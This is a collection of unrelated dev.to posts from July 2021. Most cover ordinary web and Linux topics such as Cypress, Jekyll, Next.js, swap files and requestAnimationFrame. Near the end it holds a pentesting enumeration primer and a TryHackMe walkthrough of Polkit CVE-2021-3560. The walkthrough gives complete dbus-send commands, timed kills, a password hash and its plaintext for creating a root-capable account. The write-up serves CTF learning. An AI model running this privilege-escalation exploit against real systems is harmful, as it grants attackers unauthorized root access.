teleren/devto huggingface dataset:
Scalable and Reliable Cross Browser Testing With Cypress Framework
Tags: cypress, webinar, testing
Published: 2021-07-12 10:08:36

The Cypress automation framework is gaining wider adoption with the automation testing fraternity. It is a JavaScript-based testing framework that is primarily built for testing modern web applications.

Intrigued to learn about automation of web applications (and websites) with the Cypress Framework? If so, make sure to attend our webinar on Cypress framework with Narayanan Palani - Best-Selling Author, Chapter Lead of Major Financial Institution, London where he will demonstrate valuable tips & tricks to run Cypress automation tests at scale.

These would be the key takeaways from the webinar on 'Automation testing with Cypress' Introduction to the Cypress Framework.

**Register Here**: [**Scalable and Reliable Cross Browser Testing With Cypress Framework**](https://www.lambdatest.com/webinar/scalable-and-reliable-cross-browser-testing-with-cypress-framework/?utm_source=dev&utm_medium=Webinar&utm_campaign=Rahul-12072021&utm_term=Rahul)

## What Will You Learn

- Why Cypress Over Selenium
- End-to-End Testing with Cypress Framework
- Making the most out of Cypress with LambdaTest (Parallel testing, visual testing, and other things applicable)
- Patterns & Practices for Cypress Testing
- The Magic of the Cypress Dashboard
- Avoiding Flaky tests in Cypress

Date And Time: 20 July 2021, 10 am PST

**Can’t attend the webinar?  Register and we’ll send you the recorded video.**
The most important step in hacking - Enumeration
Tags: hacking, pentesting, ctfs
Published: 2021-07-12 09:26:40

## What is enumeration?

Enumeration is the first and most important step of any form of hacking. You need an in depth understanding of what you're going up against. For example, in a CTF, you need to know which ports are going to be open and which services they belong to.

## Network enumeration

Network enumeration is going to give us a better understanding of what targets on a network are doing.

### Discovering hosts on a network
Tools such as:
* [Net Discover](https://github.com/netdiscover-scanner/netdiscover)
* [IP Ranger](https://github.com/Cinnamon1212/IPRanger)

Can help us enumerate which devices are on a network using ICMP packets (pings) or ARP. Some specialised tools such as [Bloodhound](https://github.com/BloodHoundAD/BloodHound) may help us enumerate networks using Active Directory.


### Discovering open ports on a target
Once we have our target, we need to understand what the target is doing and potential attack vectors. Below is a sample of an nmap scan:

![NMAP scan](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6oa9jmr3bkf6gt1ob0bt.png)

We can see there are 5 ports open. We may be able to exploit the HTTP service on port 80 or gain access to SSH on port 20. Port scanning can be slow, tools such as [PyRCON](https://github.com/Cinnamon1212/PyRCON) and [Rust Scanner](https://github.com/RustScan/RustScan) may help us speed up this process. Typically this isn't necessary but in a KOTH or battlegrounds game, we can't spare the time.

### Website enumeration

Websites are a huge attack vector as they're often public facing and have countless possible flaws, depending on their configuration. There are many tools that we can use to gain a better understanding of the website. Such as:
* [PyRCON](https://github.com/Cinnamon1212/PyRCON)
* [Dir Buster](https://tools.kali.org/web-applications/dirbuster)
* [UniScan](https://github.com/poerschke/Uniscan)
* [whatweb](https://github.com/urbanadventurer/WhatWeb)

Specialised tools can be used, for example [WPScan](https://github.com/wpscanteam/wpscan). Allowing us to enumerate the wordpress CMS.


### Domain enumeration
In a real-world scenario. You're likely to come across a target with more than one domain, each having it's own subdomains. There's plenty of tools that you can use to discover these. Again, PyRCON offers some options for this but I like tools such as [sublist3r](https://github.com/aboul3la/Sublist3r) and publicly available records such as [security trials](https://securitytrails.com/dns-trails).

Tools such as Dig (preinstalled on most Linux distros) may also be used for performing DNS queries, alongside nslookup. They may also be used for resolving a domain name from an IP Address (for example: 45.33.32.156 -> scanme.nmap.org)
Jekyll - Add An Affiliate Disclaimer To Specific Posts
Tags: webdev, jekyll, development, howto
Published: 2021-07-12 08:36:46

On [my website](https://mishacreatrix.com/) (built in Jekyll) some of the links used are affiliate links. To let people know this, I include a disclaimer at the top of relevant pages.

Instead of manually copying and pasting this text for each new article I write, here's how I implemented an affiliate disclaimer to specific posts or pages.


In the **_includes** folder, create a file called affiliate-disclaimer.html

Add the following code to that file:

```
{% if page.has-affiliate-link %}
<p><i>This article contains affiliate links.</i></p>
{% endif %}
```

If you want to implement this on your own Jekyll site, you can change the actual content of the affiliate disclaimer message.

In the **_layouts** folder, add the code below to any page templates that may have affiliate links. 

In my case I have 2 files: **article.html** and **book-note.html**

This code will include the affiliate disclaimer file to those page templates:

```

{% include affiliate-disclaimer.html %}

```

The final step is to include a line of YAML metadata to relevant articles and pages:

```
has-affiliate-link: true
```

When this code is added to your pages and articles, it will trigger the first piece of code that includes the affiliate disclaimer text.


If you're trying to save on load/build times and want to cut down on the amount of includes you use, you could just copy and paste the **affiliate-disclaimer.html** code directly into your page templates.

This article was originally published over on my website: [Jekyll - Add An Affiliate Disclaimer To Specific Posts](https://www.mishacreatrix.com/jekyll-affilate-disclaimer)
PortableWebClient v3.x - prerelease
Tags: csharp, coding, cloud, opensource
Published: 2021-07-12 08:28:33

PortableWebClient is a cross platform web client framework for calling ASP.NET Core RESTful Web Apis and (now) Grpc services.

{% github newky2k/PortableWebClient %}

Version 3 of PortableWebClient has added support for Grpc services, both Http/2 and Http/1.1(Grpc.Web). 

The core has also been decoupled to allow for alternate encryption providers to be used and for less bootstrap code to be needed when implementing in your code.

We have changed the packaging of the classes and moved things arround to support both RESTfull web apis and Grpc services, so this is a breaking release.

![Packages](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/042815hw6bekh4977kqt.PNG)

### To-Do

 - Create and update Wiki and documentation
 - Remove requirement for static variable for IV and KeySize
 - Create sample services and client application
 - Testing
How to avoid using relative path imports in Next.js
Tags: nextjs, javascript
Published: 2021-07-12 08:15:53

Does this look familiar? 🤯

```javascript
import MyComponent from "../../../../../components/MyComponent";
import ADifferentFile from "../../../some/other/dir/ADifferentFile";
```

Relative import paths to files in any application can be tricky to manage. Often we rely on the intelligence of our IDEs to tell us how many dot-dot-slashes to type when we're importing files that are nested many directories deep. If you're working with Next.js — there's a better way!

Define your base directories — or **module aliases** — in a jsconfig.json file at the root of your Next.js project.

Here's the jsconfig.json file I use for the code that powers [whitep4nth3r.com](https://whitep4nth3r.com).

```json
{
  "compilerOptions": {
    "baseUrl": "./",
    "paths": {
      "@components/*": ["components/*"],
      "@contentful/*": ["contentful/*"],
      "@layouts/*": ["layouts/*"],
      "@styles/*": ["styles/*"],
      "@utils/*": ["utils/*"]
    }
  }
}
```

Using module aliases, import paths at the top of files are self-documenting and easier to write, meaning you can focus on writing code rather than traversing spaghetti directories. It's beautiful.

```javascript
import PageMeta from "@components/PageMeta";
import RecentPostList from "@components/RecentPostList";
import SocialCards from "@components/SocialCards";

import ContentfulBlogPost from "@contentful/BlogPost";

import MainLayout from "@layouts/main";

import Styles from "@styles/BaseStyles.module.css";

import { Config } from "@utils/Config";
```

[Read more about absolute imports and module path aliases on the Next.js documentation.](https://nextjs.org/docs/advanced-features/module-path-aliases)
Feature popup in react-native
Published: 2021-07-12 08:06:06

Hello everyone, I am looking for help for an interface that I develop in react-native.

When I click on a button that is in each item of a flatlist I have to display a popup below or on top of the concerned button depending on the position of the button.

If the item is at the bottom of the flatList the popup will be displayed at the top otherwise at the bottom.

Actually I can display the modal but not at the right position and also not according to the criteria
How to Add Swap Space on Ubuntu 20.04
Tags: linux, ubuntu
Published: 2021-07-12 07:48:34

​
A swap is a space on a disk that is used when the amount of physical RAM memory is full. When a Linux system runs out of RAM, inactive pages are moved from the RAM to the swap space.

In the case of Linux, the swap file is an important part. It's not a must-have option but having one is crucial for a number of purposes. Generally, when installing the system, you have to declare the size of the swap file. The recommended size is 4GB but you can either decrease or increase it depending on your demand.

If you want to change the size of your swap file just follow the following steps.

Note:  Running all these commands requires root privilege, so I recommend running a root terminal.

1. Turn off all running swap processes

```
swapoff -a
```

2. Resize swap

```
fallocate -l 2G /swapfile
```

Here, the total size of the swap file will be 2GB .

3. CHMOD swap

```
chmod 600 /swapfile
```

4. Make file usable as swap

```
mkswap /swapfile
```

Activate the swap file

```
swapon /swapfile
```

To verify your swap size run the following command and you will see the swap size.

```
free -m
```

### Removing a Swap File
To deactivate and remove the swap file, follow these steps:

Start by deactivating the swap space by typing:

```
sudo swapoff -v /swapfile
```

Next, remove the swap file entry  /swapfile swap swap defaults 0 0 from the  /etc/fstab file.

Finally, remove the actual swapfile file using the  rm command:

```
sudo rm /swapfile
```

Thank you for reading this blog.
JavaScript is hard – We made it easy
Tags: javascript
Published: 2021-07-12 07:35:18

Hey friends,
Today I just want to talk a bit about my JavaScript journey and the frustration I experienced when I started learning JavaScript and what I have done to make it easy for beginners.

My first hands-on experience with JavaScript was in 2015 (I think) and I hated it so much that I abandoned it and started learning PHP, which I found more appealing at that time.

To me, it seemed like
1. There was a disconnect between what instructors were teaching and the real experience of building projects. (Much of that has changed now)
2. I also felt like information was scattered all over the internet and going through the trouble of searching and finding well-crafted information was overwhelming as a beginner.

Today I have created and published two courses on JavaScript and I sincerely believe if any beginner takes both courses, they can confidently start learning ReactJS or any other JavaScript Framework.

Here they are with my **Discount code** for **Less than $10**
1. Modern JavaScript Bootcamp for Beginners: https://www.udemy.com/course/modern-javascript-bootcamp-beginner-to-advanced/?couponCode=LESS-THAN-10

2. 100 Days of JavaScript: https://www.udemy.com/course/100-days-of-javascript/?couponCode=LESS-THAN-10

I look forward to being a part of your Tech Journey.

**Thanks for reading this article.**
if you enjoyed it, feel free to connect with me:

**Website:**  [ZinoTrustAcademy.com](https://zinotrustacademy.com/)  

**Twitter:**  [@ZinoTrust ](https://twitter.com/zinotrust) 

**YouTube:**  [ZinoTrust Academy ](https://www.youtube.com/channel/UClXxZm-GQr4S-NsHGIXgg4Q) 

**GitHub:**  [ZinoTrust ](https://github.com/zinotrust)
DefaultTextStyle in FLutter
Tags: flutter, widget, codepen, dart
Published: 2021-07-12 07:28:13

If you want to have a default Text Style down the tree.we can use the DefaultTextStyle. All you need to do is to mention the style and wrap the child around DefaultTextStyle.
The text style to apply to descendant Text widgets which don't have an explicit style.
```dart
style: TextStyle(
          fontSize: 20,
          fontWeight: FontWeight.bold,
          color: Colors.black,
        ),
```
{% codepen https://codepen.io/twhite96/pen/RwVRrKW %}
{% youtube xAdzJaL8goA %}
Easier FA Cheatsheet (with filters and code snippets copy)
Tags: codepen
Published: 2021-07-12 07:20:17

<p>Filter FontAwesome icons by style/category/search. Clik the name to copy a html snippet, the unicode to copy a css snippet or the icon to download a svg. 
With the 'link' and 'import' buttons you can copy a snippet for html or css to load FA</p>

{% codepen https://codepen.io/MarkBoots/pen/YzqRKPw %}
the value of ansible_hostname  is not fixed after the fact gathering
Tags: ansible
Published: 2021-07-12 07:06:56

```
- name: common configuration
  hosts: poc-3

  tasks:
    - name: set hostname
      ansible.builtin.hostname:
        name: "bk-{{ ansible_default_ipv4.address.split('.')[-1] }}"
      notify:
        - hostname changed

    - debug:
        var: ansible_hostname

  handlers:
    - name: update /etc/hosts
      ansible.builtin.replace:
        path: /etc/hosts
        regexp: "{{ ansible_hostname }}"
        replace: "bk-{{ ansible_default_ipv4.address | split('.') | last }}"
      listen: "hostname changed"
```
![alt text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wbumoo8axhmau02c09qc.png)

the value of ansible_hostname changed after I update the hostname of system, it is not fixed after fact gathering
RequestAnimationFrame in JavaScript
Tags: beginners, webdev, javascript, tutorial
Published: 2021-07-12 06:58:25

<p><span class='first-letter'>U</span>sing the native <mark>requestAnimationFrame</mark> method we can make our browser repeat something very quickly forever. It calls itself to paint the next frame.</p>

📝 <mark>Note</mark>: Your callback routine must itself call **requestAnimationFrame()** again if you want to animate another frame at the next repaint. requestAnimationFrame() is 1 shot.

**requestAnimationFrame** takes one argument, only callback.

<b><u>Syntax:</u></b>

```js
window.requestAnimationFrame(callback);
```

**callback**: The function to call when it's time to update your animation for the next repaint.

Animations with **requestAnimationFrame** are non-blocking, which means if you make subsequent calls to **requestAnimationFrame**, the resulting animations will all occur at  same time.

The goal is **60 frame per second(fps)** to appear smooth animation.

So we do like this 👇

```js
setInterval(() => {
  // animation code
}, 1000/60);
```

But now we have **requestAnimationFrame**, which is more better and optimized:

- Animations will be so smooth as its optimized
- Animations in inactive tabs will stop, allowing the CPU to chill

Let's see how can we create the above snippet using requestAnimationFrame

```js
function smoothAnimation() {
	// animtion
	requestAnimationFrame(smoothAnimation)
}
requestAnimationFrame(smoothAnimation)
```

### How can you start and stop animation ⏲️

**requestAnimationFrame** returns an ID you can use to cancel it.

```js
let reqAnimationId;
function smoothAnimation() {
	// animtion
	reqAnimationId = requestAnimationFrame(smoothAnimation)
}

// to start
function start() {
	reqAnimationId = requestAnimationFrame(smoothAnimation)
}

// to end
function end() {
	 cancelAnimationFrame(reqAnimationId)
}
console.log("reqAnimationId", reqAnimationId)
```

Checkout the **codepen** here for more details:

{% codepen https://codepen.io/suprabhasupi/pen/dyWpBJd %}

## Reference 🧐

- <a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame">MDN Docs of requestAnimationFrame</a>
- <a href="https://www.paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame by paulirish</a>

## Summary ∑

If you do any animation on browser and wanted it to be optimised, then would highly recommend to use requestAnimationFrame web API.

Thanks for reading the article ❤️
I hope you love the article.

<a href="https://www.buymeacoffee.com/suprabhasupi" target="_blank"><img src="https://i.imgur.com/4t25pJE.png" alt="Buy Me A Coffee" /></a>

<table>
  <tbody>
    <tr>
      <td>
        🌟 <a href="https://twitter.com/suprabhasupi"> Twitter</a>
      </td>
      <td>
        👩🏻‍💻 <a href="https://www.suprabha.me/"> suprabha.me</a>
      </td>
<td>
        🌟 <a href="https://www.instagram.com/suprabhasupi/"> Instagram</a>
      </td>
    </tr>
  </tbody>
</table>
Accept or Reject Tracked Changes in Word Using Java
Tags: java, trackedchanges, word, api
Published: 2021-07-12 06:37:57

If you are collaborating with multiple people on contracts or school assignments, tracking changes can be very useful because it helps you to review each change made by other people, and you can decide whether to accept or reject those changes. In this article, I will share how to accept or reject all tracked changes in a Word document using Free Spire.Doc for Java.

**Import Jar Dependency (2 methods)**
● Download the [Free Spire.Doc for Java](https://www.e-iceblue.com/Download/doc-for-java-free.html) and unzip it, then add the Spire.Doc.jar file to your Java application as dependency.

● Directly add the jar dependency to maven project by adding the following configurations to the pom.xml.
```xml
<repositories>
   <repository>
      <id>com.e-iceblue</id>
      <name>e-iceblue</name>
      <url>http://repo.e-iceblue.com/nexus/content/groups/public/</url>
   </repository>
</repositories>
<dependencies>
   <dependency>
      <groupId>e-iceblue</groupId>
      <artifactId>spire.doc.free</artifactId>
      <version>3.9.0</version>
   </dependency>
</dependencies>
```

**Sample Code**
```java
import com.spire.doc.Document;
import com.spire.doc.FileFormat;

public class AcceptOrRejectChanges {

    public static void main(String[] args) {

        //Create a Document object
        Document doc = new Document();

        //Load the sample Word file
        doc.loadFromFile("Oscar Wilde.docx");

        //Accept all changes in the entire document
        doc.acceptChanges();

        ////Reject all changes in the entire document
        //doc.rejectChanges();

        //Save the document
        doc.saveToFile("AcceptAllChanges.docx", FileFormat.Docx);
    }
}
```

**Before**
![Tracked Changes](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sr4ow2cnys4gfgbvas5h.jpg)

**After**
![Accept Changes](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jacy3ra445r7zzxvzbjq.jpg)
HTML tags | nav
Tags: html, tags, nav
Published: 2021-07-12 06:32:48

It is used to **define important navigation with links**. It can be repeated within the document but not nested within another `<nav>`.

If there is more than one, `aria-labelledby` can be used to improve accessibility using `<nav aria-labelledby="primary-navigation">`.

It is not necessary to use it inside the `<footer>`.

It has an **implicit ARIA role** `navigation`, and although it is not the main system for discovering information, assistive technologies [can use it](https://webaim.org/projects/screenreadersurvey8/#landmarks) to decide when to skip the initial rendering of this content.

- Type: *block*
- Self-closing: *No*
- Semantic value: *Yes*

[Definition and example](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav) | [Support](https://caniuse.com/mdn-html_elements_nav)
Polkit CVE-2021-3560
Tags: cve, hacking, pentesting, polkit
Published: 2021-07-12 00:31:27

## Background
Polkit (AKA PolicyKit) is an essential component in Unix-like OSs for controlling system wide privileges. As you can imagine, exploiting this can lead to some nasty privilege escalation. There were a few mainstream OSs vulnerable to this (such as Ubuntu 20.04 and Red Hat Enterprise Linux 8), making this a very impactful exploit.

## Understanding how and why this works
> The original report can be found [here](https://gitlab.freedesktop.org/polkit/polkit/-/issues/140).

Polkit is used to allocate privileges for users and processes. This exploit takes advantage of our ability to kill a dbus-send command the dbus daemon is able to pass Polkit the correct ID. In turn, Polkit errors and substitutes a 0 (all privs/root).

## Demonstration
> I'll be using the [polkit box](https://tryhackme.com/room/polkit) from TryHackMe to demonstrate this
We'll follow through the tutorial process. Our first command is: 
```
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
```
It's pretty long, let's dissect it. This command will be ran and monitored using "time". Remember we need time in order to check when we need to kill the dbus-send command. Our dbus-send command is going to request to create a user called attacker (and print the reply back to us). Typically we'll see this happen in a GUI and we'd then be prompted to give a password. 
That takes us to our next command:  
```
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!'
```
To continue making our new account, we need to provide a password. This takes a Sha512Crypt hash as input and uses that for the password. In plain text, the password is "Expl01ted".
Finally, we'll use the delay that we previously found to kill the command before the dbus-daemon is able to give Polkit our  ID. 
We're given a new account called attacker with the password of Expl01ted that's automatically added as a sudoer. We can su into this account and then sudo su to root.

## How does this look in practice?
Honestly? It looks simpler than you'd expect. Other than the timing of the command, this is a low complexity attack since there's copy and paste dbus commands that we can use for this. Though even without those, some understanding of using dbus utils will let you exploit this. 

![exploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x9qaf6fl8ibxdxuneojo.png)